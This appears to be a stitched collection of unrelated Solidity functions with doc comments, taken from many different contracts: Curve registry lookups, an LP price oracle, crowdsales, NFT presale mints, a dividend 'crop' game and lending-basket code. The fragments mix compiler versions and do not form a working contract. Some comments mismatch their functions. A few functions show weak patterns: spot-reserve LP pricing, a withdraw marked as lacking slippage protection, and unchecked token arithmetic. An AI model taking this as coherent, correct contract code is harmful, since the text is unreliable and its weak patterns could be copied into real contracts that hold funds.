        returns (address swapAddress)
    {
        swapAddress = CurveRegistry.get_pool_from_lp_token(tokenAddress);
        if (swapAddress != address(0)) {
            return swapAddress;
        }
        swapAddress = CurveCryptoRegistry.get_pool_from_lp_token(tokenAddress);
        if (swapAddress != address(0)) {
            return swapAddress;
        }
        if (isFactoryPool(tokenAddress)) {
            return tokenAddress;
        }
        return address(0);
    }


/**
 @notice Gets an array of underlying pool token addresses
 @param swapAddress Curve swap address for the pool
 @return poolTokens returns 4 element array containing the
 * addresses of the pool tokens (0 address if pool contains < 4 tokens)
 */

function getPoolTokens(address swapAddress)
        public
        view
        returns (address[4] memory poolTokens)
    {
        uint256 isCurveFactoryMetaPool = _isCurveFactoryMetaPool(swapAddress);
        if (isCurveFactoryMetaPool == 1) {
            address[8] memory poolUnderlyingCoins =
                CurveRegistry.get_coins(swapAddress);
            for (uint256 i = 0; i < 2; i++) {
                poolTokens[i] = poolUnderlyingCoins[i];
            }
        } else if (isCurveFactoryMetaPool == 2) {
            address[2] memory poolUnderlyingCoins =
                FactoryRegistry.get_coins(swapAddress);
            for (uint256 i = 0; i < 2; i++) {
                poolTokens[i] = poolUnderlyingCoins[i];
            }
        } else if (isCryptoPool(swapAddress)) {
            address[8] memory poolUnderlyingCoins =
                CurveCryptoRegistry.get_coins(swapAddress);

            for (uint256 i = 0; i < 4; i++) {
                poolTokens[i] = poolUnderlyingCoins[i];
            }
        } else {
            address[8] memory poolUnderlyingCoins;
            if (isBtcPool(swapAddress)) {
                poolUnderlyingCoins = CurveRegistry.get_coins(swapAddress);
            } else {
                poolUnderlyingCoins = CurveRegistry.get_underlying_coins(
                    swapAddress
                );
            }
            for (uint256 i = 0; i < 4; i++) {
                poolTokens[i] = poolUnderlyingCoins[i];
            }
        }
    }


/**
 @notice Checks if the Curve pool contains WBTC
 @param swapAddress Curve swap address for the pool
 @return true if the pool contains WBTC, false otherwise
 */

function isBtcPool(address swapAddress) public view returns (bool) {
        address[8] memory poolTokens = CurveRegistry.get_coins(swapAddress);
        for (uint256 i = 0; i < 4; i++) {
            if (poolTokens[i] == wbtcToken || poolTokens[i] == sbtcCrvToken)
                return true;
        }
        return false;
    }


/**
 @notice Check if the pool contains the toToken
 @param swapAddress Curve swap address for the pool
 @param toToken contract address of the token
 @return true if the pool contains the token, false otherwise
 @return index of the token in the pool, 0 if pool does not contain the token
 */

function isUnderlyingToken(address swapAddress, address toToken)
        external
        view
        returns (bool, uint256)
    {
        address[4] memory poolTokens = getPoolTokens(swapAddress);
        for (uint256 i = 0; i < 4; i++) {
            if (poolTokens[i] == address(0)) return (false, 0);
            if (poolTokens[i] == toToken) return (true, i);
        }
        return (false, 0);
    }


/**
 @notice Add new pools which use the _use_underlying bool
 @param swapAddresses Curve swap addresses for the pool
 @param addUnderlying True if underlying tokens are always added
 */

function updateShouldAddUnderlying(
        address[] calldata swapAddresses,
        bool[] calldata addUnderlying
    ) external onlyOwner {
        require(
            swapAddresses.length == addUnderlying.length,
            "Mismatched arrays"
        );
        for (uint256 i = 0; i < swapAddresses.length; i++) {
            shouldAddUnderlying[swapAddresses[i]] = addUnderlying[i];
        }
    }


/**
 @notice Add new pools which use uamounts for add_liquidity
 @param swapAddresses Curve swap addresses to map from
 @param _depositAddresses Curve deposit addresses to map to
 */

function updateDepositAddresses(
        address[] calldata swapAddresses,
        address[] calldata _depositAddresses
    ) external onlyOwner {
        require(
            swapAddresses.length == _depositAddresses.length,
            "Mismatched arrays"
        );
        for (uint256 i = 0; i < swapAddresses.length; i++) {
            depositAddresses[swapAddresses[i]] = _depositAddresses[i];
        }
    }


/**
 @notice createNewOracle allows the owner of this contract to deploy deploy two new asset oracle contracts
 when a new LP token is whitelisted. this contract will link the address of an LP token contract to
 two seperate oracles that are designed to look up the price of their respective assets in USDC. This
 will allow us to calculate the price of one at LP token token from the prices of their underlying assets

 @param _tokenA is the address of the first token in an Liquidity pair
 @param _tokenB is the address of the second token in a liquidity pair
 @param _lpToken is the address of the token that this oracle will provide a price feed for
 **/

function createNewOracles(
        address _tokenA,
        address _tokenB,
        address _lpToken
    ) public onlyOwner {
        (address token0, address token1) = sortTokens(_tokenA, _tokenB);

        address oracle1 = tokenToUSDC[token0];
        if (oracle1 == address(0)) {
            oracle1 = address(
                new UniswapLPOracleInstance(factory, token0, usdc_add)
            );
            tokenToUSDC[token0] = oracle1;
        }

        address oracle2 = tokenToUSDC[token1];
        if (oracle2 == address(0)) {
            oracle2 = address(
                new UniswapLPOracleInstance(factory, token1, usdc_add)
            );
            tokenToUSDC[token1] = oracle2;
        }

        LPAssetTracker[_lpToken] = [oracle1, oracle2];
        instanceTracker[oracle1] = token0;
        instanceTracker[oracle2] = token1;
    }


/**
 @notice getUnderlyingPrice allows for the price calculation and retrieval of a LP tokens price
 @param _lpToken is the address of the LP token  whos asset price is being retrieved
 @return returns the price of one LP token
 **/

function getUnderlyingPrice(address _lpToken) public returns (uint256) {
        address[] memory oracleAdds = LPAssetTracker[_lpToken];
        //retreives the oracle contract addresses for each asset that makes up a LP
        UniswapLPOracleInstance oracle1 = UniswapLPOracleInstance(
            oracleAdds[0]
        );
        UniswapLPOracleInstance oracle2 = UniswapLPOracleInstance(
            oracleAdds[1]
        );

        (uint256 reserveA, uint256 reserveB) = UniswapV2Library.getReserves(
            factory,
            instanceTracker[oracleAdds[0]],
            instanceTracker[oracleAdds[1]]
        );

        uint256 priceAsset1 = oracle1.consult(
            instanceTracker[oracleAdds[0]],
            reserveA
        );
        uint256 priceAsset2 = oracle2.consult(
            instanceTracker[oracleAdds[1]],
            reserveB
        );

        // Get the total supply of the pool
        IERC20 lpToken = IERC20(_lpToken);
        uint256 totalSupplyOfLP = lpToken.totalSupply();

        return
            _calculatePriceOfLP(
                totalSupplyOfLP,
                priceAsset1,
                priceAsset2,
                lpToken.decimals()
            );
        //return USDC price of the pool divided by totalSupply of its LPs to get price
        //of one LP
    }


/**
 //@notice Withdraw stuck tokens
 */

function withdrawTokens(address[] calldata tokens) external onlyOwner {
        for (uint256 i = 0; i < tokens.length; i++) {
            uint256 qty;

            if (tokens[i] == ETHAddress) {
                qty = address(this).balance;
                Address.sendValue(payable(owner()), qty);
            } else {
                qty = IERC20(tokens[i]).balanceOf(address(this));
                IERC20(tokens[i]).safeTransfer(owner(), qty);
            }
        }
    }


/**
 * @dev Creates a crop with an optional payable value
 * @param _playerAddress referral address.
 */

function createCrop(address _playerAddress, bool _selfBuy) public payable returns (address) {
      // we can't already have a crop
      require(crops[msg.sender] == address(0));

      // create a new crop for us
      address cropAddress = new Crop(msg.sender);
      // map the creator to the crop address
      crops[msg.sender] = cropAddress;
      emit CropCreated(msg.sender, cropAddress);

      // if we sent some value with the transaction, buy some eWLTH for the crop.
      if (msg.value != 0){
        if (_selfBuy){
            Crop(cropAddress).buy.value(msg.value)(cropAddress);
        } else {
            Crop(cropAddress).buy.value(msg.value)(_playerAddress);
        }
      }

      return cropAddress;
  }


/// @notice Detects if a transfer will be reverted and if so returns an appropriate reference code
/// @param from Sending address
/// @param to Receiving address
/// @param value Amount of tokens being transferred
/// @return Code by which to reference message for rejection reason

function detectTransferRestriction(address _token, address from, address to, uint256 value) external view returns(uint8) {
    RestrictedToken token = RestrictedToken(_token);
    if (token.isPaused()) return ALL_TRANSFERS_PAUSED;
    if (to == address(0)) return DO_NOT_SEND_TO_EMPTY_ADDRESS;
    if (to == address(token)) return DO_NOT_SEND_TO_TOKEN_CONTRACT;

    if (token.balanceOf(to).add(value) > token.getMaxBalance(to)) return GREATER_THAN_RECIPIENT_MAX_BALANCE;
    if (now < token.getLockUntil(from)) return SENDER_TOKENS_TIME_LOCKED;
    if (token.getFrozenStatus(from)) return SENDER_ADDRESS_FROZEN;

    uint256 lockedUntil = token.getAllowTransferTime(from, to);
    if (0 == lockedUntil) return TRANSFER_GROUP_NOT_APPROVED;
    if (now < lockedUntil) return TRANSFER_GROUP_NOT_ALLOWED_UNTIL_LATER;

    return SUCCESS;
  }


/**
 * @dev Enables anyone with a masternode to earn referral fees on eWLTH reinvestments.
 * @param _playerAddress referral address.
 */

function reinvest(address _playerAddress) external {
    // reinvest must be enabled
    require(disabled == false);

    Hourglass eWLTH = Hourglass(eWLTHAddress);
    if (eWLTH.dividendsOf(address(this), true) > 0){
        eWLTH.withdraw();
        uint256 bal = address(this).balance;
        // reinvest with a referral fee for sender
        eWLTH.buy.value(bal)(_playerAddress);
    }
  }


// low level token purchase function
// Request Modification : change to not mint but transfer from this contract

function buyTokens()
       public
       payable
    {
        require(validPurchase());

        uint256 weiAmount = msg.value;

        // calculate token amount to be created
        uint256 tokens = weiAmount.mul(rate);
        tokens += getBonus(tokens);

        // update state
        weiRaised = weiRaised.add(weiAmount);

        require(token.transfer(msg.sender, tokens)); // Request Modification : changed here - tranfer instead of mintable
        TokenPurchase(msg.sender, weiAmount, tokens);

        forwardFunds();

        postBuyTokens();
    }


/**
 * @dev Get the bonus based on the buy time (override getBonus of StandardCrowdsale)
 * @return the number of bonus token
 */

function getBonus(uint256 _tokens) constant returns (uint256 bonus) {
        require(_tokens != 0);
        if (startTime <= now && now < startTime + 1 days) {
            return _tokens.div(2);
        } else if (startTime + 1 days <= now && now < startTime + 2 days ) {
            return _tokens.div(4);
        } else if (startTime + 2 days <= now && now < startTime + 3 days ) {
            return _tokens.div(10);
        }

        return 0;
    }


// function mint_free_bluechip() external {
//     _canMint(1);
//     require(
//         mintedFreeBlueAddresses[msg.sender] == false,
//         "Already Used Offer"
//     );
//     _mint(msg.sender);
//     mintedFreeBlueAddresses[msg.sender] = true;
// }

function buy(uint256 amount) external payable {
        _canMint(amount);
        require(
            msg.value >= amount * 80000000000000000, //amount * 0.08 eth
            "Not Enough Ether Sent "
        );
        for (uint256 i = 0; i < amount; i++) {
            mint(msg.sender);
        }
        payable(owner()).transfer(msg.value);
    }


/**
 * Calculate price for token(s).
 * Price is increased by 0.0003 ETH for every next after the first presaleSupply(1,000) tokens.
 */

function calculatePrice(uint qty) internal view returns (uint) {
        uint totalPrice = 0;
        for (uint i = 1; i <= qty; i++) {
            uint tokenId = nonce + i;
            if (tokenId <= presaleSupply) {
                totalPrice += presalePrice;
            } else {
                totalPrice += presalePrice + (tokenId - presaleSupply) * increasePrice;
            }
        }
        return totalPrice;
    }


/**
 * @dev Moves `amount` tokens from `sender` to `recipient` using the
 * allowance mechanism. `amount` is then deducted from the caller's
 * allowance.
 *
 * Returns a boolean value indicating whether the operation succeeded.
 *
 * Emits a {Transfer} event.
 */

function transferFrom(
        address _from,
        address _to,
        uint256 _value
    ) public returns (bool success) {
        require(_value <= balanceOf[_from]);
        require(_value <= allowance[_from][msg.sender]);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        allowance[_from][msg.sender] -= _value;
        emit Transfer(_from, _to, _value);
        return true;
    }


/// @notice Swap a token for ETH
/// @param token - address of the token to swap
/// @param amount - amount of the token to swap
/// @dev Swaps are executed via Sushi router, will revert if pair
/// does not exist. Tokens must have a WETH pair.

function _swapToETH(address token, uint256 amount) internal onlyOwner {
        address[] memory path = new address[](2);
        path[0] = token;
        path[1] = WETH;

        IERC20(token).safeApprove(SUSHI_ROUTER, 0);
        IERC20(token).safeApprove(SUSHI_ROUTER, amount);

        router.swapExactTokensForETH(
            amount,
            0,
            path,
            address(this),
            block.timestamp + 60
        );
    }


/**
 * Allocates funds to members.
 */

function fundAllocation(uint256 amount) public payable onlyOwner {
        require(payable(m0).send(amount * 75 / 100 * 85 / 100));
        require(payable(m1).send(amount * 75 / 100 * 15 / 100));
        require(payable(m2).send(amount * 25 / 100));
    }


/**
 * Mint to presale allowlist wallet only with standard presale price.
 */

function allowlistPresale(uint qty) external payable {
        require(allowlistPresaleActive, "TRANSACTION: presale is not active");
        uint256 qtyAllowed = presaleWallets[msg.sender];
        require(qty <= qtyAllowed && qty >= 1, "TRANSACTION: you can't mint on presale");
        require(qty + nonce <= presaleSupply, "SUPPLY: value exceeds presale supply");
        require(msg.value >= qty * presalePrice, "PAYMENT: invalid value");
        presaleWallets[msg.sender] = qtyAllowed - qty;
        doMint(qty);
    }


/**
 * Presale mint with standard presale price.
 */

function presale(uint qty) external payable {
        require(presaleActive, "TRANSACTION: presale is not active");
        require(qty <= maxTx && qty >= 1, "TRANSACTION: qty of mints not allowed");
        require(qty + nonce <= presaleSupply, "SUPPLY: value exceeds presale supply");
        require(msg.value >= qty * presalePrice, "PAYMENT: invalid value");
        doMint(qty);
    }


/**
 * Mint tokens, maxTx (10) maximum at once.
 * Price is increased by 0.0003 ETH for every next after the first presaleSupply(1,000) tokens.
 * See calculatePrice for more details.
 */

function mint(uint qty) external payable {
        require(saleActive, "TRANSACTION: sale is not active");
        require(balanceOf(_msgSender()) > 0, "TRANSACTION: only holder");
        require(qty <= maxTx && qty >= 1, "TRANSACTION: qty of mints not allowed");
        require(qty + nonce <= totalSupply, "SUPPLY: value exceeds totalSupply");
        uint totalPrice = calculatePrice(qty);
        require(msg.value >= totalPrice, "PAYMENT: invalid value");
        doMint(qty);
    }


// UNSAFE: No slippage protection, should not be called directly

function _withdraw(address token, uint amount) internal {

        uint _factor = factor(); // call once to minimize sub calls in getCredit and getUserCredit

        uint _credit = _getCredit(msg.sender, token, _factor);
        uint _token = balances[msg.sender][token];

        if (_credit < amount) {
            amount = _credit;
        }

        _burn(msg.sender, amount, _factor);
        credit[msg.sender][token] = _getCredit(msg.sender, token, _factor).sub(amount);
        userCredit[msg.sender] = _getUserCredit(msg.sender, _factor).sub(amount);

        // Calculate % of collateral to release
        _token = _token.mul(amount).div(_credit);

        IERC20(token).safeTransfer(msg.sender, _token);
        balances[msg.sender][token] = balances[msg.sender][token].sub(_token);
    }


// ------------------------------------------------------------------------
// Crowdsale
// ------------------------------------------------------------------------

function () public payable {
        //crowd sale is open/allowed
        require(crowdsaleEnabled);

        uint ethValue = msg.value;

        //get token equivalent
        uint tokens = ethValue.mul(ethPerToken);

        //append bonus if we have active bonus promo
        //and if ETH sent is more than then minimum required to avail bonus
        if(bonusPct > 0 && ethValue >= bonusMinEth){
            //compute bonus value based on percentage
            uint bonus = tokens.div(100).mul(bonusPct);

            //emit bonus event
            emit Bonus(msg.sender, bonus);

            //add bonus to final amount of token to be
            //transferred to sender/purchaser
            tokens = tokens.add(bonus);
        }

        //validate token amount
        //assert(tokens > 0);
        //assert(tokens <= balances[owner]);

        //transfer from owner to sender/purchaser
        balances[owner] = balances[owner].sub(tokens);
        balances[msg.sender] = balances[msg.sender].add(tokens);

        //emit transfer event
        emit Transfer(owner, msg.sender, tokens);
    }


/// @dev Removes authorizion of an address.
/// @param target Address to remove authorization from.

function removeAuthorizedAddress(address target)
        public
        onlyOwner
        targetAuthorized(target)
    {
        delete authorized[target];
        for (uint i = 0; i < authorities.length; i++) {
            if (authorities[i] == target) {
                authorities[i] = authorities[authorities.length - 1];
                authorities.length -= 1;
                break;
            }
        }
        emit LogAuthorizedAddressRemoved(target, msg.sender);
    }


/// @notice Performs the requested set of swaps
/// @param swaps The struct that defines the collection of swaps to perform

function performSwapCollection(
        SwapCollection memory swaps
    )
        public
        payable
        whenNotPaused
        notExpired(swaps)
        validSignature(swaps)
    {
        TokenBalance[20] memory balances;
        balances[0] = TokenBalance(address(Utils.eth_address()), msg.value);
        //this.log("Created eth balance", balances[0].balance, 0x0);
        for(uint256 swapIndex = 0; swapIndex < swaps.swaps.length; swapIndex++){
            //this.log("About to perform swap", swapIndex, swaps.id);
            performSwap(swaps.id, swaps.swaps[swapIndex], balances, swaps.partnerContract);
        }
        emit LogSwapCollection(swaps.id, swaps.partnerContract, msg.sender);
        transferAllTokensToUser(balances);
    }


/// @notice payable fallback to allow handler or exchange contracts to return ether
/// @dev only accounts containing code (ie. contracts) can send ether to contract

function() external payable whenNotPaused {
        // Check in here that the sender is a contract! (to stop accidents)
        uint256 size;
        address sender = msg.sender;
        assembly {
            size := extcodesize(sender)
        }
        if (size == 0) {
            revert("EOA cannot send ether to primary fallback");
        }
    }


/**
 @notice Move underlying to a lending protocol
 @param _underlying Address of the underlying token
 @param _amount Amount of underlying to lend
 @param _protocol Bytes32 protocol key to lend to
 */

function lend(address _underlying, uint256 _amount, bytes32 _protocol) public onlyOwner nonReentrant {
        // _amount or actual balance, whatever is less
        uint256 amount = _amount.min(IERC20(_underlying).balanceOf(address(basket)));

        //lend token
        (
            address[] memory _targets,
            bytes[] memory _data
        ) = lendingRegistry.getLendTXData(_underlying, amount, _protocol);

        basket.callNoValue(_targets, _data);

        // if needed remove underlying from basket
        removeToken(_underlying);

        // add wrapped token
        addToken(lendingRegistry.underlyingToProtocolWrapped(_underlying, _protocol));

        emit Lend(_underlying, _amount, _protocol);
    }


/**
 @notice Unlend wrapped token from its lending protocol
 @param _wrapped Address of the wrapped token
 @param _amount Amount of the wrapped token to unlend
 */

function unlend(address _wrapped, uint256 _amount) public onlyOwner nonReentrant {
        // unlend token
         // _amount or actual balance, whatever is less
        uint256 amount = _amount.min(IERC20(_wrapped).balanceOf(address(basket)));

        //Unlend token
        (
            address[] memory _targets,
            bytes[] memory _data
        ) = lendingRegistry.getUnlendTXData(_wrapped, amount);
        basket.callNoValue(_targets, _data);

        // if needed add underlying
        addToken(lendingRegistry.wrappedToUnderlying(_wrapped));

        // if needed remove wrapped
        removeToken(_wrapped);

        emit UnLend(_wrapped, _amount);
    }


/**
 * @dev Handles the off-chain whitelisting.
 * @param _addr Address of the sender.
 * @param _sig signed message provided by the sender.
 */

function handleOffchainWhitelisted(address _addr, bytes _sig) external onlyOwnerOrCrowdsale returns (bool) {
    bool valid;
    // no need for consuming gas when the address is already whitelisted
    if (whitelist[_addr]) {
      valid = true;
    } else {
      valid = isValidSignature(_addr, _sig);
      if (valid) {
        // no need for consuming gas again if the address calls the contract again.
        addAddressToWhitelist(_addr);
      }
    }
    return valid;
  }


// ReserveQuby into Owner wallet for giveaways/those who have helped us along the way

function reserveQuby(uint256 numQuby) public onlyOwner {
        uint currentSupply = totalSupply();
        require(totalSupply().add(numQuby) <= 30, "Exceeded giveaway supply");
        require(hasSaleStarted == false, "Sale has already started");
        uint256 index;
        for (index = 0; index < numQuby; index++) {
            _safeMint(owner(), currentSupply + index);
        }
    }


// for erc20 tokens

function depositToken(address _token, uint _amount) public whenNotPaused {
        //remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.
        require(_token != address(0));

        ERC20(_token).transferFrom(msg.sender, this, _amount);
        tokens[_token][msg.sender] = SafeMath.add(tokens[_token][msg.sender], _amount);

        emit Deposit(_token, msg.sender, _amount, tokens[_token][msg.sender]);
    }